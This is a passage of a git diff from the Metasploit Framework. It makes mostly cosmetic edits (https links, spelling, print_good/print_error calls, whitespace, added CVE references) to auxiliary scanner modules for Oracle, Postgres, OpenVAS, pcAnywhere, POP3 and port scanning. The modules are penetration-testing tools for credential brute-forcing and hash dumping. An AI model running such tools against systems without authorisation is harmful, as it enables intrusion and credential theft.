     @results[shost] ||= []
-    @results[shost] << Rex::Proto::NTP::NTPControl.new(data)
+    @results[shost] << Rex::Proto::NTP::NTPControl.new.read(data)
   end
 
   # Called before the scan block
diff --git a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb
index d0017f5b2b..9d8a4532b6 100644
--- a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb
+++ b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -15,7 +14,7 @@ class MetasploitModule < Msf::Auxiliary
     super(
       'Name'           => 'OpenVAS gsad Web Interface Login Utility',
       'Description'    => %q{
-        This module simply attempts to login to a OpenVAS gsad interface
+        This module simply attempts to login to an OpenVAS gsad interface
         using a specific user/pass.
       },
       'Author'         => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
diff --git a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb
index de09b68f64..86da3f4c9f 100644
--- a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb
+++ b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb
@@ -1,32 +1,27 @@
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
 
   def initialize
-  super(
-    'Name'        => 'OpenVAS OMP Login Utility',
-    'Description' => 'This module attempts to authenticate to an OpenVAS OMP service.',
-    'Author'         => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
-    'License'        => MSF_LICENSE
-  )
-  register_options(
-    [
-      Opt::RPORT(9390),
-      OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false])
-    ])
-
-  register_advanced_options(
-  [
-    OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]),
-    OptString.new('SSLVersion', [ true, " Specify the version of SSL that should be used", "TLS1"])
-  ])
+    super(
+      'Name'        => 'OpenVAS OMP Login Utility',
+      'Description' => 'This module attempts to authenticate to an OpenVAS OMP service.',
+      'Author'      => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
+      'License'     => MSF_LICENSE
+    )
+    register_options(
+      [
+        Opt::RPORT(9390),
+        OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false])
+      ]
+    )
   end
 
   def run_host(ip)
diff --git a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb
index b855bec8ee..52941770b7 100644
--- a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb
+++ b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb
@@ -1,33 +1,27 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
 
   def initialize
-  super(
-    'Name'        => 'OpenVAS OTP Login Utility',
-    'Description' => 'This module attempts to authenticate to an OpenVAS OTP service.',
-    'Author'         => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
-    'License'        => MSF_LICENSE
-  )
-  register_options(
-    [
-      Opt::RPORT(9391),
-      OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false])
-    ])
-
-  register_advanced_options(
-  [
-    OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]),
-    OptString.new('SSLVersion', [ true, " Specify the version of SSL that should be used", "TLS1"])
-  ])
+    super(
+      'Name'        => 'OpenVAS OTP Login Utility',
+      'Description' => 'This module attempts to authenticate to an OpenVAS OTP service.',
+      'Author'      => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
+      'License'     => MSF_LICENSE
+    )
+    register_options(
+      [
+        Opt::RPORT(9391),
+        OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false])
+      ]
+    )
   end
 
   def run_host(ip)
diff --git a/modules/auxiliary/scanner/oracle/emc_sid.rb b/modules/auxiliary/scanner/oracle/emc_sid.rb
index e810fcd5e3..14f68f1681 100644
--- a/modules/auxiliary/scanner/oracle/emc_sid.rb
+++ b/modules/auxiliary/scanner/oracle/emc_sid.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
@@ -13,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
     super(
       'Name'        => 'Oracle Enterprise Manager Control SID Discovery',
       'Description' => %q{
-          This module makes a request to the Oracle  Enterprise Manager Control Console
+          This module makes a request to the Oracle Enterprise Manager Control Console
         in an attempt to discover the SID.
       },
       'References'  =>
diff --git a/modules/auxiliary/scanner/oracle/isqlplus_login.rb b/modules/auxiliary/scanner/oracle/isqlplus_login.rb
index d1ca8a55ec..250d1f512f 100644
--- a/modules/auxiliary/scanner/oracle/isqlplus_login.rb
+++ b/modules/auxiliary/scanner/oracle/isqlplus_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::AuthBrute
@@ -179,7 +178,7 @@ class MetasploitModule < Msf::Auxiliary
           print_status("Incorrect SID -- please set a correct (or blank) SID")
           return :abort
         elsif
-          print_status("Unknown response, assuming failed. (Supported languages are English, German, and Danish)")
+          print_error("Unknown response, assuming failed. (Supported languages are English, German, and Danish)")
           success = false
         end
       elsif res.code == 302
@@ -202,7 +201,7 @@ class MetasploitModule < Msf::Auxiliary
       report_isqlauth_info(target_host,user,pass,sid)
       return :next_user
     else
-      vprint_status "#{msg} username and password failed"
+      vprint_error "#{msg} username and password failed"
       return :failed
     end
   end
@@ -270,5 +269,4 @@ class MetasploitModule < Msf::Auxiliary
     end
     report_cred(ora_info)
   end
-
 end
diff --git a/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb b/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb
index c45d904f80..99d21769a1 100644
--- a/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb
+++ b/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::AuthBrute
@@ -223,5 +222,4 @@ class MetasploitModule < Msf::Auxiliary
     report_oracle_sid(ip,sid) if guess
     return guess
   end
-
 end
diff --git a/modules/auxiliary/scanner/oracle/oracle_hashdump.rb b/modules/auxiliary/scanner/oracle/oracle_hashdump.rb
index 6eb1168fdd..9772ce9280 100644
--- a/modules/auxiliary/scanner/oracle/oracle_hashdump.rb
+++ b/modules/auxiliary/scanner/oracle/oracle_hashdump.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::ORACLE
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -33,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary
     ver = prepare_exec(query)
 
     if ver.nil?
-      print_error("An Error has occured, check your OPTIONS")
+      print_error("An Error has occurred, check your OPTIONS")
       return
     end
 
@@ -78,14 +77,14 @@ class MetasploitModule < Msf::Auxiliary
         unless results.empty?
           results.each do |result|
             row= result.split(/,/)
-            row[2] = 'No'
+            next unless row.length == 2
             tbl << row
           end
         end
 
       end
     rescue => e
-      print_error("An error occured. The supplied credentials may not have proper privs")
+      print_error("An error occurred. The supplied credentials may not have proper privs")
       return
     end
     print_status("Hash table :\n #{tbl}")
@@ -129,10 +128,7 @@ class MetasploitModule < Msf::Auxiliary
 
       create_credential_login(login_data.merge(service_data))
     end
-    print_status("Hash Table has been saved")
+    print_good("Hash Table has been saved")
   end
 
-
-
-
 end
diff --git a/modules/auxiliary/scanner/oracle/oracle_login.rb b/modules/auxiliary/scanner/oracle/oracle_login.rb
index c39f800de9..9008b13449 100644
--- a/modules/auxiliary/scanner/oracle/oracle_login.rb
+++ b/modules/auxiliary/scanner/oracle/oracle_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Nmap
   include Msf::Auxiliary::AuthBrute
@@ -195,7 +194,7 @@ class MetasploitModule < Msf::Auxiliary
             @oracle_reported = true
           end
           user = extract_creds(oline)[0]
-          print_status "#{msg} Locked: #{user} (SID: #{sid}) -- account valid but locked"
+          print_good "#{msg} Locked: #{user} (SID: #{sid}) -- account valid but locked"
           report_cred(
             ip: addr,
             port: port,
@@ -209,5 +208,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/oracle/sid_brute.rb b/modules/auxiliary/scanner/oracle/sid_brute.rb
index a2a8d3630f..1643a4f801 100644
--- a/modules/auxiliary/scanner/oracle/sid_brute.rb
+++ b/modules/auxiliary/scanner/oracle/sid_brute.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TNS
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -14,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
     super(update_info(info,
       'Name'           => 'Oracle TNS Listener SID Bruteforce',
       'Description'    => %q{
-        This module queries the TNS listner for a valid Oracle database
+        This module queries the TNS listener for a valid Oracle database
         instance name (also known as a SID).
         Any response other than a "reject" will be considered a success.
         If a specific SID is provided, that SID will be attempted. Otherwise,
diff --git a/modules/auxiliary/scanner/oracle/sid_enum.rb b/modules/auxiliary/scanner/oracle/sid_enum.rb
index dfd186f404..b41958aa87 100644
--- a/modules/auxiliary/scanner/oracle/sid_enum.rb
+++ b/modules/auxiliary/scanner/oracle/sid_enum.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::TNS
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -13,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
     super(update_info(info,
       'Name'           => 'Oracle TNS Listener SID Enumeration',
       'Description'    => %q{
-        This module simply queries the TNS listner for the Oracle SID.
+        This module simply queries the TNS listener for the Oracle SID.
         With Oracle 9.2.0.8 and above the listener will be protected and
         the SID will have to be bruteforced or guessed.
       },
diff --git a/modules/auxiliary/scanner/oracle/spy_sid.rb b/modules/auxiliary/scanner/oracle/spy_sid.rb
index dbe6e3c745..7ea581e862 100644
--- a/modules/auxiliary/scanner/oracle/spy_sid.rb
+++ b/modules/auxiliary/scanner/oracle/spy_sid.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/oracle/tnslsnr_version.rb b/modules/auxiliary/scanner/oracle/tnslsnr_version.rb
index 4cfbff254e..ac429a1bf4 100644
--- a/modules/auxiliary/scanner/oracle/tnslsnr_version.rb
+++ b/modules/auxiliary/scanner/oracle/tnslsnr_version.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
   include Msf::Exploit::Remote::TNS
diff --git a/modules/auxiliary/scanner/oracle/tnspoison_checker.rb b/modules/auxiliary/scanner/oracle/tnspoison_checker.rb
index 956a9893ec..905a355a71 100644
--- a/modules/auxiliary/scanner/oracle/tnspoison_checker.rb
+++ b/modules/auxiliary/scanner/oracle/tnspoison_checker.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
   include Msf::Exploit::Remote::TNS
@@ -16,11 +15,12 @@ class MetasploitModule < Msf::Auxiliary
         This module checks the server for vulnerabilities like TNS Poison.
         Module sends a server a packet with command to register new TNS Listener and checks
         for a response indicating an error. If the registration is errored, the target is not
-        vulnearble. Otherwise, the target is vulnerable to malicious registrations.
+        vulnerable. Otherwise, the target is vulnerable to malicious registrations.
       },
       'Author'         => ['ir0njaw (Nikita Kelesis) <nikita.elkey[at]gmail.com>'], # of Digital Security [http://dsec.ru]
       'References'     =>
         [
+          [ 'CVE', '2012-1675'],
           [ 'URL', 'http://seclists.org/fulldisclosure/2012/Apr/204' ],
         ],
       'DisclosureDate' => 'Apr 18 2012',
diff --git a/modules/auxiliary/scanner/oracle/xdb_sid.rb b/modules/auxiliary/scanner/oracle/xdb_sid.rb
index 69edb88d5a..eaf2cdf50a 100644
--- a/modules/auxiliary/scanner/oracle/xdb_sid.rb
+++ b/modules/auxiliary/scanner/oracle/xdb_sid.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
@@ -13,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
     super(
       'Name'        => 'Oracle XML DB SID Discovery',
       'Description' => %q{
-          This module simply makes a authenticated request to retrieve
+          This module simply makes an authenticated request to retrieve
           the sid from the Oracle XML DB httpd server.
       },
       'References'  =>
diff --git a/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb b/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb
index 932a1d38c5..8dcd8cde74 100644
--- a/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb
+++ b/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb
index b442daa78d..9c918b4439 100644
--- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb
+++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/tcp'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -189,5 +188,4 @@ class MetasploitModule < Msf::Auxiliary
     header << data
     return header
   end
-
 end
diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb
index 4b2181f0cc..74755e192b 100644
--- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb
+++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -46,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary
 =end
 
       report_service(:host => rhost, :port => rport, :name => "pcanywhere_data", :info => "")
-      print_status("#{rhost}:#{rport} pcAnywhere data service")
+      print_good("#{rhost}:#{rport} pcAnywhere data service")
 
     rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET
     rescue ::Exception => e
diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb
index 51292a1af2..a32dd7195d 100644
--- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb
+++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::UDPScanner
 
@@ -57,7 +54,7 @@ class MetasploitModule < Msf::Auxiliary
 
       report_service(:host => ip, :port => datastore['RPORT'], :proto => 'udp', :name => "pcanywhere_stat", :info => info)
       report_note(:host => ip, :port => datastore['RPORT'], :proto => 'udp', :name => "pcanywhere_stat", :update => :unique, :ntype => "pcanywhere.status", :data => data )
-      print_status("#{ip}:#{datastore['RPORT']} #{info}")
+      print_good("#{ip}:#{datastore['RPORT']} #{info}")
     end
   end
 
@@ -94,5 +91,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/pop3/pop3_login.rb b/modules/auxiliary/scanner/pop3/pop3_login.rb
index 8198912abe..3dd2ebd528 100644
--- a/modules/auxiliary/scanner/pop3/pop3_login.rb
+++ b/modules/auxiliary/scanner/pop3/pop3_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/login_scanner/pop3'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
diff --git a/modules/auxiliary/scanner/pop3/pop3_version.rb b/modules/auxiliary/scanner/pop3/pop3_version.rb
index 00d054b1c8..7deffd0c77 100644
--- a/modules/auxiliary/scanner/pop3/pop3_version.rb
+++ b/modules/auxiliary/scanner/pop3/pop3_version.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -26,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary
       connect
       banner = sock.get_once(-1, 30)
       banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
-      print_status("#{ip}:#{rport} POP3 #{banner_sanitized}")
+      print_good("#{ip}:#{rport} POP3 #{banner_sanitized}")
       report_service(:host => rhost, :port => rport, :name => "pop3", :info => banner)
     rescue ::Rex::ConnectionError
     rescue ::EOFError
@@ -35,5 +34,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error("#{ip}:#{rport} - #{e} #{e.backtrace}")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/portmap/portmap_amp.rb b/modules/auxiliary/scanner/portmap/portmap_amp.rb
index 53ecf1472c..f89651a1c6 100644
--- a/modules/auxiliary/scanner/portmap/portmap_amp.rb
+++ b/modules/auxiliary/scanner/portmap/portmap_amp.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::UDPScanner
   include Msf::Auxiliary::DRDoS
@@ -20,6 +19,7 @@ class MetasploitModule < Msf::Auxiliary
       'License'     => MSF_LICENSE,
       'References'  =>
         [
+          ['CVE', '2013-5211'], # see also scanner/ntp/ntp_monlist.rb
           ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-017A'],
           ['URL', 'http://blog.level3.com/security/a-new-ddos-reflection-attack-portmapper-an-early-warning-to-the-industry/']
         ],
diff --git a/modules/auxiliary/scanner/portscan/ack.rb b/modules/auxiliary/scanner/portscan/ack.rb
index 2817626ca9..182d537835 100644
--- a/modules/auxiliary/scanner/portscan/ack.rb
+++ b/modules/auxiliary/scanner/portscan/ack.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Capture
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -149,5 +148,4 @@ class MetasploitModule < Msf::Auxiliary
     end
     return reply
   end
-
 end
diff --git a/modules/auxiliary/scanner/portscan/ftpbounce.rb b/modules/auxiliary/scanner/portscan/ftpbounce.rb
index b6412714db..262c2b2685 100644
--- a/modules/auxiliary/scanner/portscan/ftpbounce.rb
+++ b/modules/auxiliary/scanner/portscan/ftpbounce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -90,7 +90,7 @@ class MetasploitModule < Msf::Auxiliary
         resp = send_cmd(["LIST"])
 
         if resp =~ /^[12]/
-          print_status(" TCP OPEN #{ip}:#{port}")
+          print_good(" TCP OPEN #{ip}:#{port}")
           report_service(:host => ip, :port => port)
         end
       rescue ::Exception
diff --git a/modules/auxiliary/scanner/portscan/syn.rb b/modules/auxiliary/scanner/portscan/syn.rb
index 435e9c1bb2..1c6cc60feb 100644
--- a/modules/auxiliary/scanner/portscan/syn.rb
+++ b/modules/auxiliary/scanner/portscan/syn.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Capture
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -86,7 +85,7 @@ class MetasploitModule < Msf::Auxiliary
           next if not reply
 
           if (reply.is_tcp? and reply.tcp_flags.syn == 1 and reply.tcp_flags.ack == 1)
-            print_status(" TCP OPEN #{dhost}:#{dport}")
+            print_good(" TCP OPEN #{dhost}:#{dport}")
             report_service(:host => dhost, :port => dport)
           end
         rescue ::Exception
@@ -138,5 +137,4 @@ class MetasploitModule < Msf::Auxiliary
     end
     return reply
   end
-
 end
diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb
index a5ae324d5f..d0f79f095c 100644
--- a/modules/auxiliary/scanner/portscan/tcp.rb
+++ b/modules/auxiliary/scanner/portscan/tcp.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
 
   include Msf::Auxiliary::Report
@@ -79,7 +77,7 @@ class MetasploitModule < Msf::Auxiliary
               }
             )
             if s
-              print_status("#{ip}:#{port} - TCP OPEN")
+              print_good("#{ip}:#{port} - TCP OPEN")
               r << [ip,port,"open"]
             end
           rescue ::Rex::ConnectionRefused
@@ -109,5 +107,4 @@ class MetasploitModule < Msf::Auxiliary
       end
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/portscan/xmas.rb b/modules/auxiliary/scanner/portscan/xmas.rb
index e99ea02545..f957b85ac5 100644
--- a/modules/auxiliary/scanner/portscan/xmas.rb
+++ b/modules/auxiliary/scanner/portscan/xmas.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Capture
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -149,5 +148,4 @@ class MetasploitModule < Msf::Auxiliary
     end
     return reply
   end
-
 end
diff --git a/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb b/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb
index df54f6dec0..c9367b8a28 100644
--- a/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb
+++ b/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -69,5 +67,4 @@ class MetasploitModule < Msf::Auxiliary
       print_status("#{rhost}:#{rport} does not appear to be vulnerable to CVE-2013-1899")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb
index f3922df302..9e3e79a1dd 100644
--- a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb
+++ b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Postgres
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -56,7 +53,7 @@ class MetasploitModule < Msf::Auxiliary
     # Error handling routine here, borrowed heavily from todb
     case res.keys[0]
     when :conn_error
-      print_error("A Connection Error occured")
+      print_error("A Connection Error Occurred")
       return
     when :sql_error
       # We know the credentials worked but something else went wrong
@@ -88,7 +85,7 @@ class MetasploitModule < Msf::Auxiliary
       # We know the credentials worked and have admin access because we got the hashes
       login_data[:access_level] = 'Admin'
       create_credential_login(login_data)
-      print_status("Query appears to have run successfully")
+      print_good("Query appears to have run successfully")
     end
 
 
@@ -138,6 +135,4 @@ class MetasploitModule < Msf::Auxiliary
 
   end
 
-
-
 end
diff --git a/modules/auxiliary/scanner/postgres/postgres_login.rb b/modules/auxiliary/scanner/postgres/postgres_login.rb
index a7aed8dcf6..7fda162240 100644
--- a/modules/auxiliary/scanner/postgres/postgres_login.rb
+++ b/modules/auxiliary/scanner/postgres/postgres_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/credential_collection'
 require 'metasploit/framework/login_scanner/postgres'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Postgres
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Scanner
@@ -87,7 +86,7 @@ class MetasploitModule < Msf::Auxiliary
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
 
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
